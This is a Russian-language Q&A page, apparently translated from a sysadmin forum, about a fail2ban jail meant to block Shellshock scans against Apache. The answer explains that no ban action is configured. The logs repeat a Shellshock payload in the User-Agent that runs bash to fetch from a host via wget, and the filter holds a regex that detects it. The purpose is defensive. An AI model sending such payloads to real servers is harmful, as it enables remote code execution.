Назад | Перейти на главную страницу

Правила fail2ban не вступают в силу

Я установил веб-сервер Apache на стандартную установку Ubuntu 14.04 и пытаюсь использовать fail2ban для блокировки запросов, проверяющих уязвимости.

Я добавил следующее /etc/fail2ban/jail.local:

[apache-vulnerability-scan]

enabled  = true
port     = http,https
filter   = apache-vulnerability-scan
logpath  = /var/log/apache*/*access.log
maxretry = 1

Определение правила находится в /etc/fail2ban/filter.d/apache-vulnerability-scan.conf:

[Definition]

failregex = ^<HOST> -.*"\(\)\s*\{[^;"]+[^}"]+}\s*;.*$

ignoreregex =

Для тех, кто, возможно, не знаком с правилами Ubuntu по умолчанию для fail2ban, некоторые из основных правил показаны ниже:

ignoreip = 127.0.0.1/8
bantime  = 600
findtime = 600
maxretry = 3
backend = auto
usedns = warn
protocol = tcp
chain = INPUT

Тем не менее, я могу делать запросы без fail2ban, блокируя мой IP, хотя maxretry установлен на 1.

10.0.2.2 - - [21/Nov/2015:00:11:40 +0530] "GET /cgi-bin/ HTTP/1.1" 500 798 "-" "() { :; }; /bin/bash -c \"cd /tmp; wget http://10.0.2.2/\""
10.0.2.2 - - [21/Nov/2015:00:11:40 +0530] "GET /cgi-bin/ HTTP/1.1" 500 798 "-" "() { :; }; /bin/bash -c \"cd /tmp; wget http://10.0.2.2/\""
10.0.2.2 - - [21/Nov/2015:00:11:40 +0530] "GET /cgi-bin/ HTTP/1.1" 500 798 "-" "() { :; }; /bin/bash -c \"cd /tmp; wget http://10.0.2.2/\""
10.0.2.2 - - [21/Nov/2015:00:11:41 +0530] "GET /cgi-bin/ HTTP/1.1" 500 798 "-" "() { :; }; /bin/bash -c \"cd /tmp; wget http://10.0.2.2/\""
10.0.2.2 - - [21/Nov/2015:00:11:41 +0530] "GET /cgi-bin/ HTTP/1.1" 500 798 "-" "() { :; }; /bin/bash -c \"cd /tmp; wget http://10.0.2.2/\""
10.0.2.2 - - [21/Nov/2015:00:11:41 +0530] "GET /cgi-bin/ HTTP/1.1" 500 798 "-" "() { :; }; /bin/bash -c \"cd /tmp; wget http://10.0.2.2/\""
10.0.2.2 - - [21/Nov/2015:00:11:41 +0530] "GET /cgi-bin/ HTTP/1.1" 500 798 "-" "() { :; }; /bin/bash -c \"cd /tmp; wget http://10.0.2.2/\""
10.0.2.2 - - [21/Nov/2015:00:11:42 +0530] "GET /cgi-bin/ HTTP/1.1" 500 798 "-" "() { :; }; /bin/bash -c \"cd /tmp; wget http://10.0.2.2/\""
10.0.2.2 - - [21/Nov/2015:00:11:42 +0530] "GET /cgi-bin/ HTTP/1.1" 500 798 "-" "() { :; }; /bin/bash -c \"cd /tmp; wget http://10.0.2.2/\""
10.0.2.2 - - [21/Nov/2015:00:11:43 +0530] "GET /cgi-bin/ HTTP/1.1" 500 798 "-" "() { :; }; /bin/bash -c \"cd /tmp; wget http://10.0.2.2/\""
10.0.2.2 - - [21/Nov/2015:00:11:50 +0530] "GET / HTTP/1.1" 200 11820 "-" "Wget/1.16.3 (msys)"

Состояние фильтра вроде в порядке:

# fail2ban-client status apache-vulnerability-scan
Status for the jail: apache-vulnerability-scan
|- filter
|  |- File list:        /var/log/apache2/other_vhosts_access.log /var/log/apache
2/access.log
|  |- Currently failed: 0
|  `- Total failed:     0
`- action
   |- Currently banned: 0
   |  `- IP list:
   `- Total banned:     0

Как кажется, само правило:

Running tests
=============

Use   failregex file : /etc/fail2ban/filter.d/apache-vulnerability-scan.conf
Use         log file : /var/log/apache2/access.log


Results
=======

Failregex: 10 total
|-  #) [# of hits] regular expression
|   1) [10] ^<HOST> -.*"\(\)\s*\{[^;"]+[^}"]+}\s*;.*$
|      10.0.2.2  Sat Nov 21 00:11:40 2015
|      10.0.2.2  Sat Nov 21 00:11:40 2015
|      10.0.2.2  Sat Nov 21 00:11:40 2015
|      10.0.2.2  Sat Nov 21 00:11:41 2015
|      10.0.2.2  Sat Nov 21 00:11:41 2015
|      10.0.2.2  Sat Nov 21 00:11:41 2015
|      10.0.2.2  Sat Nov 21 00:11:41 2015
|      10.0.2.2  Sat Nov 21 00:11:42 2015
|      10.0.2.2  Sat Nov 21 00:11:42 2015
|      10.0.2.2  Sat Nov 21 00:11:43 2015
`-

Ignoreregex: 0 total

Date template hits:
|- [# of hits] date format
|  [13] Day/MONTH/Year:Hour:Minute:Second
|  [0] WEEKDAY MONTH Day Hour:Minute:Second[.subsecond] Year
|  [0] WEEKDAY MONTH Day Hour:Minute:Second Year
|  [0] WEEKDAY MONTH Day Hour:Minute:Second
|  [0] MONTH Day Hour:Minute:Second
|  [0] Year/Month/Day Hour:Minute:Second
|  [0] Day/Month/Year Hour:Minute:Second
|  [0] Day/Month/Year2 Hour:Minute:Second
|  [0] Month/Day/Year:Hour:Minute:Second
|  [0] Year-Month-Day Hour:Minute:Second[,subsecond]
|  [0] Year-Month-Day Hour:Minute:Second
|  [0] Year.Month.Day Hour:Minute:Second
|  [0] Day-MONTH-Year Hour:Minute:Second[.Millisecond]
|  [0] Day-Month-Year Hour:Minute:Second
|  [0] Month-Day-Year Hour:Minute:Second[.Millisecond]
|  [0] TAI64N
|  [0] Epoch
|  [0] ISO 8601
|  [0] Hour:Minute:Second
|  [0] <Month/Day/Year@Hour:Minute:Second>
|  [0] YearMonthDay Hour:Minute:Second
|  [0] Month-Day-Year Hour:Minute:Second
`-

Lines: 13 lines, 0 ignored, 12 matched, 1 missed
|- Missed line(s):
|  10.0.2.2 - - [21/Nov/2015:00:11:50 +0530] "GET / HTTP/1.1" 200 11820 "-" "Wget/1.16.3 (msys)"
`-

Почему правила fail2ban не вступают в силу? Что я здесь делаю не так?

Вам не хватает action для используемых правил, что означает, что fail2ban не знает, что делать, если правило соответствует. Это можно настроить глобально или локально для каждой тюрьмы. Правила действия определены в /etc/fail2ban/action.d/

Например, для глобального запрета вы можете добавить в jail.local:

banaction = iptables-multiport

Пожалуйста, проверьте свой jail.conf в области "ДЕЙСТВИЯ" файла для более подробной информации.

Вам также нужно будет сократить название тюрьмы apache-vulnerability-scan поскольку имя цепочки iptables имеет ограничение по длине.